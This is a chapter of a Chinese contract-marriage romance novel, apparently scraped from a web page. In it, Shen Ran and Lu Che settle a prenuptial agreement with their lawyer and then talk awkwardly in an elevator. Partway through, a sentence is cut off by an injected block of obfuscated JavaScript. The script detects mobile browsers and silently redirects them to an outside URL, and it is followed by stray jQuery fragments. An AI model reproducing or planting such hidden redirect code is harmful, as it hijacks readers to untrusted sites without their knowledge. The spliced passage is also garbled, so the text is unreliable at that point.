5. 文学城独家
作品:《契约老公原来是直的》 桌子那一端,陆澈的动作明显顿了顿。
他本来是正准备拿水杯的,手指停在杯身上。
曹律师却很快点头,表情瞬间变得“我懂你”的温柔:“明白了,你们是无性婚姻模型。”
沈然:“……”
无、性、婚、姻、模、型???
这还理论总结了起来了?
她看了一眼陆澈。
男人低垂着眼,表情看上去还是那样平静。
只有耳尖那一点点颜色有点不太对劲,可能是外面天太热。
“那忠诚条款这块呢?”曹律师继续问,“是否写明双方不得与第三人发生亲密行为?”
“写上。”沈然几乎是条件反射,“肯定要写。”
曹律师笑:“那写双方都不得?”
沈然张了张嘴。
脑子里的第一反应其实是他不得。
毕竟她没有恋爱对象。
话到嘴边,她硬生生把那个字吞回去,改成最安全的版本:“我们都不得。”
陆澈偏过头,看了她一眼。
那眼神不凶,也不疑惑。像是把她那句“都不得”当成一份很认真、很沉的确认,收下了。
他轻轻“嗯”了一声:“可以。”
曹律师一边打字,一边感叹:“沈小姐看起来很强势,但其实非常在意这段婚姻。”
沈然:“我是在意公平。”
曹律师笑:“那也是在意呀。”
沈然被这句“在意”弄得有点措手不及。
她不太会处理这种情绪话题,索性抬手喝了一口咖啡,把话题往冷一点的地方拉:“下一条。”
曹律师翻页:“家务分工这块,两位有偏好吗?”
“继续用我的阿姨吧。”沈然脱口而出,“钱我来支付就行。”
她意识到这样说有些强势,连忙补了一句:“主要是我有固定的,人挺好的。”
陆澈看她一眼:“家务我可以做。”
“没关系。”沈然淡淡,“我习惯宋姨了。”
“但我不想做一个‘被你服务’的合约方。”他慢慢道,“一半。”
“你会做吗?”
“会。”
“不会。”两人几乎同时,沈然很诚实,“你看起来就不会。”
陆澈:“……”
他沉默了半秒,像是想顶一句,又被她那种笃定堵回去。最后只抬手,把袖口往上推了一点点,露出手腕:“你要不要我现在就证明一下。”
沈然:“不用证明。”
她顿了顿,补得很冷酷,“我只看结果。”
曹律师在旁边默默抬头,看着眼前一个坚持要全部包揽家务的女客户,和一个坚持要分担家务的男客户。
她轻轻叹了一句:“难怪你们要签婚前协议。”
沈然:“?”
曹律师飞快打字:“那就写,双方共同承担家务,具体比例按协商调整。”
她合了一下电脑:“接下来是比较敏感的一部分,关于离婚时的处理。”
沈然:“可以。”
她面对这块内容反而比刚才还冷静。
离婚,从一开始就写在她的人生假设里。
不是因为她不相信任何人,而是她不信赖任何系统,包括婚姻系统本身。
她必须为所有可能准备出口。
曹律师简单讲了一遍离婚后财产、房产、子女(暂时不写)等等框架,确定没有异议后,拿起电脑:“那我先去打印纸质版,你们待会儿看一遍,没问题就签字。”
她起身,走向打印区。
办公室只剩两人对坐。
安静了一会儿。
沈然把笔盖扣上,习惯性低头整理一下桌上的纸,顺手把昨天整理的“婚姻项目风险点”翻出来看了一眼。
余光里,她看到陆澈在看她,目光有些冷淡。
“怎么?”她抬眼。
“你紧张的时候就会整理文件。”他说。
沈然怔了一下。
她下意识想反驳一句“我没有紧张”,但想了想,没说。
她确实紧张。
这一切对她来说很不常规。
从公共场所当着别人面撕开衣服,裙子碎裂,到给人擦腿被人撞见,到现在坐在律师楼里讨论性|行为频率,她这二十多年的人生从没这么离谱过。
陆澈看着她,慢慢开口:“刚才那一条。”
“哪一条?”
“你说‘不会有’那条。”他语气平静,“你是认真的吗?”
沈然把注意力从纸堆上挪开,努力让自己语气听起来和往常一样,也不带任何偏见的回了句“你也不需要吧。”
陆澈:“谁说的?”
沈然:“……”
沈然忽然说不上话。
她脑子里一半在害怕,他会做出些什么跟刚才撸袖子一样的举动,想证明自己。
另一半,“因为你取向问题”这种东西在神经元里追逐打架,最后被她强行按回意识深处。
她清了清嗓子:“我认为,你对这部分没有刚性需求。”
陆澈看了她几秒。
那一瞬间,他的目光不再像之前那样只是安静地扫过,而是有一点审视、再加一点被误判的不服。
“沈然。”陆澈忽然叫她的名字,眉眼带着些紧绷。
“嗯?”
“你到底把我当成什么人?”
沈然张口,脑子里闪过很多词。
“之前的同事”、“可靠合作伙伴”、“安全室友”、“职业联盟队友”……
最后只出来一个最干巴巴的:“……正常人?”
陆澈:“……”
陆澈失笑,低头摇了摇头。
他没再追问,也没有解释。
只是把那页条款轻轻推近一点,像是在提醒她:这不是一句话就能盖棺定论的东西。
他语气懒,但很稳:“那就别替我做结论。”
沈然一瞬间说不上话。
她讨厌被搅局。
更讨厌的是,她发现自己居然被他说得有点慌,也不太懂他为什么反复纠结这一条,不论是同性还是异性,这一步地迈出都没有那么容易和必要,至少对她来说是的。
她想找点别的话题掩饰:“你科研项目那边不会受影响吗?突然结婚。”
“不会。”陆澈顺着她的话说下去,“人才计划需要稳定家庭。我老师比你还急。”
“你老师比我还急?”沈然抓住了重点,“他也催你结婚?”
“嗯。”陆澈淡淡,“他说三十多还不结婚会被学生笑。”
沈然思考了一下,认真补充:“那你结婚了也会被学生笑。”
陆澈:“……”
“他们会说,你老早就‘走入传统家庭陷阱’。”沈然很客观,“不过,对你事业发展确实有利。”
陆澈轻轻看了她一眼:“你对婚姻的定义挺温柔的。”
“?”沈然不解,“我刚才那段话哪儿温柔了?”
“你至少没说‘婚姻是失败者的避难所’之类的。”他淡声,“我学生有这种观点。”
“那是他们没谈过恋爱。”沈然说,“谈过一次,就知道婚姻至少比谈恋爱更有边界感。”
话一出口,她自己愣了一下。
她不太会主动提“谈恋爱”这三个字。
陆澈微不可察地抬了下眉:“你是过来人?”
“算吗?”沈然想起那段短命的感情,语气非常公事公办,“可能不太算,总之不太成功,样本数量有限,不具备统计意义。”
“怎么不成功?”
“他觉得我太理性,怀疑我没有心。”沈然很客观,“最后分手的时候,他说‘你适合跟excel谈恋爱’。”
“……”陆澈没忍住笑了一声,清了清嗓子,“那你怎么回的?”
“我说他也不差,可以和word在一起。”沈然淡淡,“大家都别浪费时间。”
陆澈沉默了一下,像是被她噎住,又像是被她逗笑。
“还是不喜欢。”沈然给那段短暂的恋爱关系做出了最终评价。
“就这一段吗?就没遇到过喜欢的?”
沈然想了想,点了下头,“有一个,不过没谈。”
她没好意思说是线上认识的。
他抬手捏了捏鼻梁:“那你现在呢?”
“现在什么?”
“现在准备跟谁在一起?”
沈然刚想说“跟你”,又觉得这话说出来听着有点太像告白。
她改口:“跟婚姻制度。”
陆澈:“……”
打印机那边发出一阵连续的“哔哔”声,曹律师抱着一叠纸回来,打破了两人之间那一点奇怪的安静。
“好了,两位,纸质版,我都打印出来了。”她把协议摆在桌上,“辛苦再看一遍,有修改我们现场调。”
沈然立刻进入阅读模式。
她从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889019|192149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头到尾过了一遍条款,确认财产部分没有“奇怪漏洞”、家务分配写得相对公平、离婚处理方式清晰可控。
她看到那条“双方同意不对彼此提出性行为义务”的时候,视线停了半秒,又迅速滑过去。
她假装没看到。
陆澈扫到那一条,也没说话。
只是指尖在桌底敲了一下,像是把某种情绪压回去。
曹律师笑着翻到签字页:“那就在这里,双方各签一次名字。”
沈然拿起笔。
笔尖落下的时候,她心里有一瞬间的恍惚。
她的人生好像被人轻轻拐了个弯。
不是她没预料到婚姻,只是她没想过,第一次走进婚姻,是以这样一种冷静、理性的形式:
她坐在律师楼里,和一个多年不见、半意外重逢的旧识,签下一份细致清晰到像商业合同的“婚前协议”。
她写完自己的名字,笔一转,递给陆澈。
男人接过笔,在自己的那一栏写上“陆澈”两个字。
字迹漂亮得刚刚好,不张扬,也不拘谨。
“那后面我会再给你们发送一份电子件。”曹律师收好纸,“如果将来有变动,也可以再约时间调整。”
她顿了顿,忽然又补了一句:“不过我还是要多嘴一句。”
两人不约而同看向她。
曹律师收好协议,又补了一句:“你们这种婚姻模式是少数。但我接触的案子里有个规律。”
她笑笑:“愿意把每一条可能性写清楚的人,往往比谁都认真。”
沈然愣了一下。
她下意识想说“我们只是理性”,却发现那句话在喉咙里转了一圈,又悄无声息地散了。
她没开口。
陆澈站起来,跟曹律师道谢,帮她把椅子拉开一点。
出了律师楼,走廊里冷气比外面重。
沈然抱着自己的文件夹,脑子里还停留在刚才那句“无性婚姻模型”。
她莫名其妙有一点想钻地缝的冲动。
两人一起等电梯。
沈然盯着电梯数字往下跳,忍不住说:“刚才那律师误会有点严重。”
“嗯。”陆澈淡声,“误会是挺多。”
“你别放在心上。”她一本正经,“现代社会对‘非主流婚姻结构’还是有偏见。”
陆澈侧头:“我们什么时候成‘非主流结构’了?”
“契约婚姻本身就是少数。”沈然认真分析,“你看周围,同龄人不是不婚,就是恋爱脑,我们这种模型——”
她顿了顿,觉得“模型”这个词好像有点不太合适,“这种形式比较少见。”
电梯“叮”一声,门开了。
里面没人,两人走进去。沈然站在靠后的地方,按了一楼。
电梯门合上,镜面墙里映出两个人的身影,一个抱着文件夹的女强人,一个外套松松搭在手臂上的科研男。
挺配的。
她这么想了一下,又立刻把这个念头赶走。
不行。
她不能对一个她已经“默认gay身份”的人产生“挺配”这种评价。
电梯刚下到十楼,陆澈忽然开口:“沈然。”
“嗯?”
“你真的觉得,我们以后不会有吗?”
沈然:“……”
她知道他说的是什么,也有点懵。
难不成这是……男女通吃?
她可接受不了。
沈然假装不知道:“嗯?”
陆澈看着她,目光很平静,却让人躲不开:“你心里有答案。”
沈然被他盯了一秒,只好转移话题:“你今天下午有会吗?”
他没顺着她跑,反问:“你现在,是不是把我归类到了一个……安全但无欲的类别里?”
“……”这话说得太准了。
沈然一时不知道怎么回应。
最后她只好干巴巴总结:“我把你归类到可靠合约方。”
“那就够了?”陆澈问。
“对。”她说,“对我来说足够了。”
电梯到了一楼,“叮”的一声。
门缓缓打开,外面的光一下子涌进来。
陆澈没再说话,先出去一步,替她挡了一下门。
沈然走出电梯的时候,忽然有一点很不理智的预感。
她刚才说的那句“足够了”,
很可能是她这段时间里,最不准确的一次判断。

